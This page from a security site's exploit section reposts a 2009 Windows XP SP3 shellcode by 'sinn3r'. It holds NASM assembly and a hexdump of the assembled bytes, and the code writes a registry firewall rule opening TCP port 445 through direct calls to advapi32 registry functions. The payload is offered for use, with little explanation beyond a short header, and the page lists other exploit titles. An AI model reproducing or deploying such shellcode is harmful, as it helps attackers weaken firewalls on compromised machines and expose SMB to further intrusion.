首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Win32 XP SP3 addFirewallRule
来源:vfocus.net 作者:sinn3r 发布时间:2009-12-25  

; Author: sinn3r
; Tested on Windows XP SP3
; Description:
; This shellcode will create a XP firewall rule to allow TCP traffic on port 445.
; Make sure ADVAPI32.dll is loaded.

[BITS 32]

global _start

_start:

;for the handle
xor edx, edx
mov edi, esp
mov dword [edi], edx
sub esp, 0x10  ;avoid handle being overwritten

;Prepare the key
push 0x00747369
push 0x4c5c7374
push 0x726f506e
push 0x65704f79
push 0x6c6c6162
push 0x6f6c475c
push 0x656c6966
push 0x6f725064
push 0x7261646e
push 0x6174535c
push 0x7963696c
push 0x6f706c6c
push 0x61776572
push 0x69465c73
push 0x72657465
push 0x6d617261
push 0x505c7373
push 0x65636341
push 0x64657261
push 0x68535c73
push 0x65636976
push 0x7265535c
push 0x7465536c
push 0x6f72746e
push 0x6f43746e
push 0x65727275
push 0x435c4d45
push 0x54535953
mov edx, esp

xor eax, eax
push eax  ;pDisposion = NULL
push edi  ;pHandle
push eax  ;pSecurity = NULL
push 0x0f003f  ;Access = KEY_ALL_ACCESS
push eax  ;Options = REG_OPTION_NON_VOLATILE
push eax  ;Class = NULL
push eax  ;Reserved = NULL
push edx  ;Subkey
push 0x80000002  ;hkey = HKEY_LOCAL_MACHINE
mov eax, 0x77DDE9E4 ;RegCreateKeyExA
call eax

;RegSetValue ValueName = 445:TCP
push 0x00504354
push 0x3a353434
mov edx, esp

;REgSEtValue buffer = 445:TCP:*:Enabled:test
push 0x00007473
push 0x65743a64
push 0x656c6261
push 0x6e453a2a
push 0x3a504354
push 0x3a353434
mov ecx, esp

xor eax, eax
inc eax
push 0x16  ;BufSize = 0x16
push ecx  ;Buffer
push eax  ;ValueType = REG-SZ
dec eax
push eax  ;Reserved = 0
push edx  ;ValueName
push dword [edi] ;hKey
mov eax, 0x77ddead7 ;RegSetValueExA
call eax

push dword [edi] ;hKey
mov eax, 0x77dd6c17 ;RegCloseKey
call eax

;shellcode:
;sinn3r@backtrack:~$ nasm -f bin addFirewallRule2.asm -o addFirewallRule2 |cat addFirewallRule2 |hexdump -C |grep -v 000000ff
;00000000  31 d2 89 e7 89 17 81 ec  10 00 00 00 68 69 73 74  |1...........hist|
;00000010  00 68 74 73 5c 4c 68 6e  50 6f 72 68 79 4f 70 65  |.hts\LhnPorhyOpe|
;00000020  68 62 61 6c 6c 68 5c 47  6c 6f 68 66 69 6c 65 68  |hballh\Glohfileh|
;00000030  64 50 72 6f 68 6e 64 61  72 68 5c 53 74 61 68 6c  |dProhndarh\Stahl|
;00000040  69 63 79 68 6c 6c 70 6f  68 72 65 77 61 68 73 5c  |icyhllpohrewahs\|
;00000050  46 69 68 65 74 65 72 68  61 72 61 6d 68 73 73 5c  |Fiheterharamhss\|
;00000060  50 68 41 63 63 65 68 61  72 65 64 68 73 5c 53 68  |PhAcceharedhs\Sh|
;00000070  68 76 69 63 65 68 5c 53  65 72 68 6c 53 65 74 68  |hviceh\SerhlSeth|
;00000080  6e 74 72 6f 68 6e 74 43  6f 68 75 72 72 65 68 45  |ntrohntCohurrehE|
;00000090  4d 5c 43 68 53 59 53 54  89 e2 31 c0 50 57 50 68  |M\ChSYST..1.PWPh|
;000000a0  3f 00 0f 00 50 50 50 52  68 02 00 00 80 b8 e4 e9  |?...PPPRh.......|
;000000b0  dd 77 ff d0 68 54 43 50  00 68 34 34 35 3a 89 e2  |.w..hTCP.h445:..|
;000000c0  68 73 74 00 00 68 64 3a  74 65 68 61 62 6c 65 68  |hst..hd:tehableh|
;000000d0  2a 3a 45 6e 68 54 43 50  3a 68 34 34 35 3a 89 e1  |*:EnhTCP:h445:..|
;000000e0  31 c0 40 68 16 00 00 00  51 50 48 50 52 ff 37 b8  |1.@h....QPHPR.7.|
;000000f0  d7 ea dd 77 ff d0 ff 37  b8 17 6c dd 77 ff d0     |...w...7..l.w..|


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·CastRipper 2.50.70 (.pls) Stac
·Picpuz <=2.1.1 Buffer Overflow
·Exploit for against Easy RM to
·freebsd/x86 portbind shellcode
·Easy RM to MP3 27.3.700 local
·win32/xp sp2 calc.exe 45 bytes
·Adobe Reader and Acrobat (CVE-
·Exploit Easy RM to MP3 2.7.3.7
·Printoxx Local Buffer Overflow
·CastRipper (.M3U) Stack BOF Wi
·linux 2.6.18-20 2009 Local Roo
·corehttp remote command execut
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved